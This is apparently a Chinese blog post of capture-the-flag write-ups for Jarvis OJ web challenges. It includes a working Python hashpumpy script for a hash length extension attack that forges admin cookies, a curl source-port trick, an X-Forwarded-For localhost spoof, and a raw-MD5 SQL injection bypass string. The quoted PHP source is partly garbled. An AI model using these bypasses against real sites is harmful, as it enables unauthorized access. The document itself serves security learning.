0x00 To begin with
某次做上传题找到了Jarvis OJ,最近才开始继续做里面的其他题,感觉还是有经典的思路值得学习的,于是慢慢总结下来,持续更新吧。
0x01 Something
flag在管理员手里
由于之前没有接触过hash扩展长度攻击,一直想找机会填上这个坑,以这个题来分析扩展长度攻击。
原理介绍部分参考。
在采用MD5(SALT+SECRET)等类似方式时,由于未知量拼接后在SECRET前面,导致可以在SECRET后添加PADDING字符,在不知道salt的情况下,通过已知的一对VALUE-HASH值,枸造出一对新的VALUE-HASH值(value在原来的基础上在末尾添加额外数据)。
首先,通过vim备份文件获得文件源码
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt = ;
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
}
else {
$auth = false;
} else {}
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is "
}
else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
从此句中$hsh = md5($salt.strrev($s));
发现可使用hash扩展长度攻击,同时也要注意到有一个strrev。
在这里我们使用Python的HashPumpy计算新hash值。
Help on built-in function hashpump in module hashpumpy:
hashpump(…)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
当前拥有的条件有:
- 加盐后的serialize("guest")的结果,并且注意此处有一个strrev函数,会将字符串反序,这恰恰能使得我们利用哈希长度扩展攻击。首
- PHP在反序列化时,会忽略后面多余的字符。
要使得$role==="admin",就必须将s:5:"admin";放在最前面。利用strrev就可以构造长度扩展攻击,并符合反序列化要求。所以原始数据就是s:5:"guest"的逆序,最后增添数据是s:5:"admin"的逆序,盐的长度可以爆破猜解。
#!/usr/bin/python
import hashpumpy
import requests
import urllib
for item in range(1,32): #crack lenth of salt
(a,b)= hashpumpy.hashpump("3a4727d57463f122833d9e732f94e4e0",'s:5:"guest";'[::-1],'s:5:"admin";'[::-1],item) # refer to the quote above
a=urllib.quote(a)
b=urllib.quote(b[::-1]) # reverse and convert format /x to %
#print a,b
cookie={'role':b,'hsh':a} # or construct a header contain cookie
re=requests.get("http://web.jarvisoj.com:32778/",cookies=cookie)
if 'PCTF' in re.content:
print re.content
另外可参考:
https://ctf-wiki.github.io/ctf-wiki/crypto/hash/attack.html#hash-length-extension-attacks
PORT51
查阅了一些资料后,可以使用curl来完成。
curl --local-port
curl --local-port 51 http://web.jarvisoj.com:32770/
LOCALHOST
在http头中加入为localhost的XFF即可。
LOGIN
尝试万能密码等注入后,发现在response header提供了hint。
Hint:"select * from `admin` where password='".md5($pass,true)."'"
值得注意的是md5($value,true),查看手册之后发现返回的是raw类型,即二进制类型,会被解析为字符串。
那么,我们如果能够构造出'or'开头的字符串,并且or后能够判断为true即可。
可以使用爆破方法解出,使用正则匹配/'or'[\d].*/gi。或者使用其他师傅已经计算好的password=ffifdyop。